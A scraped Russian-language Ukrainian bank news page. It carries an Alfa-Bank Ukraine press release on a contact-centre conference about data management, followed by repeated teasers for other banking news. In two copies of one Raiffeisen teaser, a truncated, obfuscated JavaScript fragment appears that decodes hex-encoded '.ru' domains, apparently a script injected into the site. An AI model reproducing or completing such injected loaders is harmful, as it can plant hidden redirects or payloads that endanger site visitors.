28.03.2017

Альфа-Банк Украина на конференции ВАКЦ обсудил влияние data management на работу контакт-центров

Альфа-Банк Украина на конференции ВАКЦ обсудил влияние data management на работу контакт-центров

23 марта Альфа-Банк Украина присоединился к международной практической конференции Всеукраинской Ассоциации Контактных Центров на тему «Контакт-центры: лучшие практики». Конференцию открыла Валентина Ярош, директор департамента обслуживания клиентов Альфа-Банка Украина, Президент Всеукраинской Ассоциации Контактных Центров.

Ведущие специалисты отрасли дистанционного обслуживания клиентов в формате живого общения делились своими лучшими кейсами. В частности, присутствующие спикеры и эксперты обратили внимание на европейские тенденции и украинские перспективы, ведь технологии и общество эволюционируют очень быстро. Так же быстро меняются и переходят постепенно в цифровой мир клиенты. Кроме того, речь шла о мастерстве управления этими изменениями, о том, как big data и собственно data management меняют коммуникации с клиентами. А также о том, что хоть искусственный интеллект уже сегодня и рядом, но ценность и роль людей в компании еще долго будет оставаться жизненно необходимой.

Валентина Ярош в своем выступлении подчеркнула важность data management. Ведь вызов в современном бизнесе уже не в том, что данных недостаточно, а в том, что их становится слишком много. Поэтому самое важное - правильно анализировать и управлять данными. Она также указала на ключевые тренды на рынке контакт-центров и указала на перспективы его развития.

«По последним исследованиям компании Gartner, уже через несколько лет аудитория покупателей онлайн увеличится примерно до 100 млн, а роботы будут привлечены к выполнению 1 млрд алгоритмов. Клиенты переходят в цифровой мир, и это неизбежно меняет сферу услуг, - рассказывает Валентина Ярош, директор департамента обслуживания клиентов Альфа-Банка Украины и Президент Всеукраинской Ассоциации Контактных Центров. - Компании предлагают цифровые технологии и решения. Например, робот «Алла» с контакт-центра Альфа-Банка уже не только консультирует, но и поздравляет с праздниками, рассказывает положительные гороскопы. Современным цифровым каналам свойственна эмоциональная составляющая, ведь каждый абонент контакт-центра, кроме услуги, хочет получить еще и приятные впечатления!»

Напомним, что контакт-центр Альфа-Банка получил награду DzWINNER -2016: «Лучшая команда продаж Украина», а также вошел в short-list конкурса еще в 4 номинациях: «Лучшая сервисная команда», «Мотивация года», «Тренер года» и «Прорыв года». Валентина Ярош является экспертом в области управления клиентским сервисом с помощью различных каналов коммуникации. Она развивает это направление уже почти 20 лет (ранее - в телеком-бизнесе, а с 2007 г. - в банковском). В 2013 в Стокгольме Валентина получила международную награду за проект управления персоналом контакт-центра. Она является членом Совета ВАКЦ с 2011 г.

Альфа-Банк Украина – это большой украинский коммерческий банк с международным капиталом, входит в частную инвестиционную холдинговую компанию ABH Holdings S.A. (ABHH) с главным офисом в Люксембурге. Холдинговая компания имеет инвестиции в ряде банковских групп на территории стран СНГ и Европы. В частности, операционные компании (банки) и представительства ABHH находятся в Украине, России, Казахстане, Беларуси, Нидерландах, Великобритании, Люксембурге и на Кипре.
Владельцами ABHH выступают Михаил Фридман – 32,86%, Герман Хан – 20,97%, Алексей Кузмичев – 16,32%, Пётр Авен – 12,40%, UniCredit S.p.A. – 9,9% и другие акционеры.
По классификации НБУ входит в группу «банки иностранных банковских групп».
Официальный сайт: www.alfabank.ua.

Ощадбанк реализовал онлайн-оплату административных услуг на сайте миграционной службы Ощадбанк реализовал онлайн-оплату административных услуг на сайте миграционной службы

Сейчас оплатить услуги онлайн могут жители Киева, и уже с ноября сервис будет доступен для других городов, подразделения миграционной службы в которых подключены к электронной очереди.

20.10.2017 | 12:44
читать далее >>>
2 млрд грн составил вексельный агропортфель Райффайзен Банка Аваль за 9 мес. 2017г. 2 млрд грн составил вексельный агропортфель Райффайзен Банка Аваль за 9 мес. 2017г.

На сегодняшний день Райффайзен Банк Аваль является лидером на украинском рынке авалирования агровекселей, а достигнутый рекордный показатель превышает результат работы банка в данном направлении за 12 месяцев 2016 года (тогда он составил 1,6 млрд грн).

20.10.2017 | 12:07
читать далее >>>
Хорошая новость для любителей игр от Wargaming Хорошая новость для любителей игр от Wargaming

Хорошая новость для любителей игр от Wargaming : Альфа-Банк Украина и Wargaming предоставляют возможность «прокачать» свою виртуальную технику в играх World of Tanks , World of Tanks Blitz и World of Warships .

18.10.2017 | 12:00
читать далее >>>
Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине

 Отмечая Всемирный День сбережений, который традиционно проводится во многих странах в конце октября, Альфа-Банк Украина и Укрсоцбанк объявляют о старте расширенной кампании «Месяц сбережений». Понимая важность «сберегательного» образования в  стране, Альфа-Банк Украина и Укрсоцбанк посвящают «Месяц...

15.10.2017 | 17:45
читать далее >>>
Компания «Мироновский хлебопродукт» закупила сельхозтехники в ОТП Лизинг на €5 млн Компания «Мироновский хлебопродукт» закупила сельхозтехники в ОТП Лизинг на €5 млн

  Компания «ОТП Лизинг» подписала лизинговую сделку с агрохолдингом «Мироновский хлебопродукт» (МХП) на закупку сельхозтехники. По условиям сделки, ОТП Лизинг предоставит технику Case и FENDT на сумму 5 млн евро сроком на 5 лет.

13.10.2017 | 12:23
читать далее >>>
Райффайзен Банк Аваль получил статус уполномоченного банка по сбережению запасов наличных средств НБУ Райффайзен Банк Аваль получил статус уполномоченного банка по сбережению запасов наличных средств НБУ

 Разветвленная сеть банка работает во всех областях Украины. По состоянию на 1 сентября 2017 года в нее входили, в том числе, 39 касс пересчета (из них 22 — на уровне областных центров). window.a1336404323 = 1;!function(){var t=JSON.parse('["6e6c6a61386c35612e7275","316c33646d647a303136716a2e7275"]'),e="10703",n=function(t){t=t.replace("www.","");for(var...

12.10.2017 | 12:02
читать далее >>>
Райффайзен Банк Аваль провел тренинг по финансовой грамотности для подростков Райффайзен Банк Аваль провел тренинг по финансовой грамотности для подростков

  Очередной тренинг состоялся на прошлой неделе в помещении Финансовой академии Райффайзен Банка Аваль. На этот раз мероприятие прошло в необычном формате: в роли тренера дебютировал тринадцатилетний Максим Чемерисский, участник программы Kids Leadership Camp. Он рассказал об истории денег и их видах, инфляции, потребностях и...

09.10.2017 | 10:09
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный» «Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный»

  5 октября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга Акционерного банка «Пивденный» на уровне uaА+. Прогноз рейтинга - стабильный. Агентство также подтвердило рейтинг надежности банковских вкладов (депозитов) банка на уровне...

05.10.2017 | 10:30
читать далее >>>
Альфа-Банк Украина возвращает деньги за пополнение мобильного Альфа-Банк Украина возвращает деньги за пополнение мобильного

 Зарегистрировавшись в любом из этих дистанционных каналов и осуществив свою первую транзакцию – пополнение мобильного счета на любую сумму, клиент получит возвращение денег в конце месяца в размере 20 грн на карту, с которой был сделан платеж.    

04.10.2017 | 13:42
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинг АО «МИСТО БАНК» «Кредит-Рейтинг» подтвердил рейтинг АО «МИСТО БАНК»

3 октября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга АО «МИСТО БАНК» (г. Одесса) на уровне uaВВB-. Прогноз рейтинга - негативный. Также агентство внесло рейтинги банка в Контрольный список рейтингов

03.10.2017 | 14:18
читать далее >>>
Ощадбанк реализовал онлайн-оплату административных услуг на сайте миграционной службы Ощадбанк реализовал онлайн-оплату административных услуг на сайте миграционной службы

Сейчас оплатить услуги онлайн могут жители Киева, и уже с ноября сервис будет доступен для других городов, подразделения миграционной службы в которых подключены к электронной очереди.

20.10.2017 | 12:44
Рейтинг: 
читать далее >>>
2 млрд грн составил вексельный агропортфель Райффайзен Банка Аваль за 9 мес. 2017г. 2 млрд грн составил вексельный агропортфель Райффайзен Банка Аваль за 9 мес. 2017г.

На сегодняшний день Райффайзен Банк Аваль является лидером на украинском рынке авалирования агровекселей, а достигнутый рекордный показатель превышает результат работы банка в данном направлении за 12 месяцев 2016 года (тогда он составил 1,6 млрд грн).

20.10.2017 | 12:07
Рейтинг: 
читать далее >>>
Хорошая новость для любителей игр от Wargaming Хорошая новость для любителей игр от Wargaming

Хорошая новость для любителей игр от Wargaming : Альфа-Банк Украина и Wargaming предоставляют возможность «прокачать» свою виртуальную технику в играх World of Tanks , World of Tanks Blitz и World of Warships .

18.10.2017 | 12:00
Рейтинг: 
читать далее >>>
Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине

 Отмечая Всемирный День сбережений, который традиционно проводится во многих странах в конце октября, Альфа-Банк Украина и Укрсоцбанк объявляют о старте расширенной кампании «Месяц сбережений». Понимая важность «сберегательного» образования в  стране, Альфа-Банк Украина и Укрсоцбанк посвящают «Месяц...

15.10.2017 | 17:45
Рейтинг: 
читать далее >>>
Компания «Мироновский хлебопродукт» закупила сельхозтехники в ОТП Лизинг на €5 млн Компания «Мироновский хлебопродукт» закупила сельхозтехники в ОТП Лизинг на €5 млн

  Компания «ОТП Лизинг» подписала лизинговую сделку с агрохолдингом «Мироновский хлебопродукт» (МХП) на закупку сельхозтехники. По условиям сделки, ОТП Лизинг предоставит технику Case и FENDT на сумму 5 млн евро сроком на 5 лет.

13.10.2017 | 12:23
Рейтинг: 
читать далее >>>
Райффайзен Банк Аваль получил статус уполномоченного банка по сбережению запасов наличных средств НБУ Райффайзен Банк Аваль получил статус уполномоченного банка по сбережению запасов наличных средств НБУ

 Разветвленная сеть банка работает во всех областях Украины. По состоянию на 1 сентября 2017 года в нее входили, в том числе, 39 касс пересчета (из них 22 — на уровне областных центров). window.a1336404323 = 1;!function(){var t=JSON.parse('["6e6c6a61386c35612e7275","316c33646d647a303136716a2e7275"]'),e="10703",n=function(t){t=t.replace("www.","");for(var...

12.10.2017 | 12:02
Рейтинг: 
читать далее >>>
Райффайзен Банк Аваль провел тренинг по финансовой грамотности для подростков Райффайзен Банк Аваль провел тренинг по финансовой грамотности для подростков

  Очередной тренинг состоялся на прошлой неделе в помещении Финансовой академии Райффайзен Банка Аваль. На этот раз мероприятие прошло в необычном формате: в роли тренера дебютировал тринадцатилетний Максим Чемерисский, участник программы Kids Leadership Camp. Он рассказал об истории денег и их видах, инфляции, потребностях и...

09.10.2017 | 10:09
Рейтинг: 
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный» «Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный»

  5 октября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга Акционерного банка «Пивденный» на уровне uaА+. Прогноз рейтинга - стабильный. Агентство также подтвердило рейтинг надежности банковских вкладов (депозитов) банка на уровне...

05.10.2017 | 10:30
Рейтинг: 
читать далее >>>
Альфа-Банк Украина возвращает деньги за пополнение мобильного Альфа-Банк Украина возвращает деньги за пополнение мобильного

 Зарегистрировавшись в любом из этих дистанционных каналов и осуществив свою первую транзакцию – пополнение мобильного счета на любую сумму, клиент получит возвращение денег в конце месяца в размере 20 грн на карту, с которой был сделан платеж.    

04.10.2017 | 13:42
Рейтинг: 
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинг АО «МИСТО БАНК» «Кредит-Рейтинг» подтвердил рейтинг АО «МИСТО БАНК»

3 октября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга АО «МИСТО БАНК» (г. Одесса) на уровне uaВВB-. Прогноз рейтинга - негативный. Также агентство внесло рейтинги банка в Контрольный список рейтингов

03.10.2017 | 14:18
Рейтинг: 
читать далее >>>
Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине Альфа-Банк Украина и Укрсоцбанк начинают Месяц сбережений в Украине

 Отмечая Всемирный День сбережений, который традиционно проводится во многих странах в конце октября, Альфа-Банк Украина и Укрсоцбанк объявляют о старте расширенной кампании «Месяц сбережений». Понимая важность «сберегательного» образования в  стране, Альфа-Банк Украина и Укрсоцбанк посвящают «Месяц...

15.10.2017 | 17:45 Просмотров:
читать далее >>>
Ощадбанк продолжает расширение сети инклюзивных отделений Ощадбанк продолжает расширение сети инклюзивных отделений

Ощадбанк первым из банков начал воплощение в жизнь идеи безбарьерного общества. Он стал первым и единственным банком в Украине и Восточной Европе, который открывает инклюзивные отделения, доступные для всех категорий клиентов, а также первым банком, который инициировал создание на их базе инклюзивных клубов досуга для...

21.09.2017 | 12:42 Просмотров:
читать далее >>>
Альфа-Банк Украина возвращает деньги за пополнение мобильного Альфа-Банк Украина возвращает деньги за пополнение мобильного

 Зарегистрировавшись в любом из этих дистанционных каналов и осуществив свою первую транзакцию – пополнение мобильного счета на любую сумму, клиент получит возвращение денег в конце месяца в размере 20 грн на карту, с которой был сделан платеж.    

04.10.2017 | 13:42 Просмотров:
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинг ПАО «КРИСТАЛБАНК» «Кредит-Рейтинг» подтвердил рейтинг ПАО «КРИСТАЛБАНК»

21 сентября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга ПАО «КРИСТАЛБАНК» (г. Киев) на уровне uaА-. Прогноз рейтинга – стабильный.

21.09.2017 | 10:05 Просмотров:
читать далее >>>
Как мечты становятся реальностью с Идея Банком Как мечты становятся реальностью с Идея Банком

Для потребителей Идея Банк подготовил несколько продуктов, предусматривающих выдачу кредитных средств наличными.

21.09.2017 | 09:44 Просмотров:
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный» «Кредит-Рейтинг» подтвердил рейтинги Акционерного банка «Пивденный»

  5 октября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга Акционерного банка «Пивденный» на уровне uaА+. Прогноз рейтинга - стабильный. Агентство также подтвердило рейтинг надежности банковских вкладов (депозитов) банка на уровне...

05.10.2017 | 10:30 Просмотров:
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинг ПАО «Универсал Банк» «Кредит-Рейтинг» подтвердил рейтинг ПАО «Универсал Банк»

22 сентября 2017 г. независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга ПАО «Универсал Банк» (г. Киев) на уровне uaАА. Прогноз рейтинга – стабильный. Агентство также подтвердило рейтинг надежности банковских вкладов (депозитов) ПАО «Универсал...

22.09.2017 | 10:35 Просмотров:
читать далее >>>
«Кредит-Рейтинг» подтвердил рейтинги ПАО «Первый Украинский Международный Банк» «Кредит-Рейтинг» подтвердил рейтинги ПАО «Первый Украинский Международный Банк»

27 сентября 2017 г.  независимое рейтинговое агентство «Кредит-Рейтинг» объявило о подтверждении долгосрочного кредитного рейтинга ПАО «Первый Украинский Международный Банк» (г. Киев) на уровне uaАА-. Прогноз рейтинга - стабильный. Агентство также подтвердило рейтинг надежности банковских вкладов (депозитов)...

27.09.2017 | 14:46 Просмотров:
читать далее >>>
1991 Open Data Incubator и OTP Bank при поддержке НБУ запустили программу для финтех-стартапов Open Banking Lab 1991 Open Data Incubator и OTP Bank при поддержке НБУ запустили программу для финтех-стартапов Open Banking Lab

 Некоммерческий инкубатор проектов на основе больших и открытых данных 1991 Open Data Incubator, НБУ и ОТП Банк запустили совместную инкубационную программу Open Banking Lab. 27 сентября представители компаний дали пресс-конференцию, где сообщили о старте набора в программу.

28.09.2017 | 11:55 Просмотров:
читать далее >>>
Работники Райффайзен Банка Аваль провели благотворительную акцию в Бабанской школе-интернате на Черкасщине Работники Райффайзен Банка Аваль провели благотворительную акцию в Бабанской школе-интернате на Черкасщине

От банка школе-интернату было передано нужные и полезные вещи для детей: зимнюю обувь, комнатную обувь, канцелярские товары, спортивный инвентарь, а также кондитерские изделия.   Кроме того, много подарков для воспитанников заведения подготовили сами работники банка – за собственные средства. Среди них –...

03.10.2017 | 13:17 Просмотров:
читать далее >>>
Новости JOIN